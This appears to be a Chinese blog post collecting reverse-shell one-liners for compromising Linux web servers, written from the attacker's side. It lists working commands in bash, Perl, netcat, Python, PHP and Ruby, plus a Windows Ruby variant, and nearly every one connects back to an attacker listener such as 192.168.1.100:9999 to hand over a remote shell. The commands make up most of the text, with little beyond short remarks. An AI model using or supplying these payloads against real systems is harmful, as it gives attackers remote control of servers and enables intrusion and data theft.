前言
现在服务器基本上都是采用linux系统,做为一条web狗,最希望当然是拿到网站的webshell,之前看到过几种方法,在这里总结一下吧。
这里攻击端的ip为192.168.1.100,并且执行了nc -lvvp 9999
,在9999端口进行监听。
Bash
bash是linux最基本的东西,用bash来反弹shell是必须要清楚的。
bash -i >& /dev/tcp/192.168.1.100/9999 0>&1
这里的可选择的协议还有udp,但是一般采用的tcp协议。
这里的第一个>&是表示shell在后台运行。
Perl
perl解释器在linux下基本也是预装的,但如今似乎用的人越来越少了,剩下它的正则表达式还在延续。
1 | perl -e 'use Socket;$i="192.168.1.100";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
nc
nc命令在linux下也是常见的,不过docker里一般不会有nc。
nc -e /bin/sh 192.168.1.100 9999
-e代表程序重定向 将/bin/sh 重定向到远程端口
python
现在用python写后端的人也挺多的,有命令注入的话说不定可以直接搞事。
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.100",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
PHP
php是世界上最好的语言!
php -r '$sock=fsockopen("192.168.1.100",9999);exec("/bin/sh -i <&3 >&3 2>&3");'
Ruby
还记得之前某位老师说过Ruby会比python更火,然而现在身边会Ruby的人好像没多少。ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
还有不依赖/bin/sh的shellruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
顺带一提如果在windows上要用Ruby反弹shell,则ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
不过我想我可能永远用不上。
后记
lua现在都没看见了,在这里便不列出来了。通常都是nc,python,php,bash用的较多一点。好像php的shell还有另一种形式,记性太差,想不起来了。之后再补上。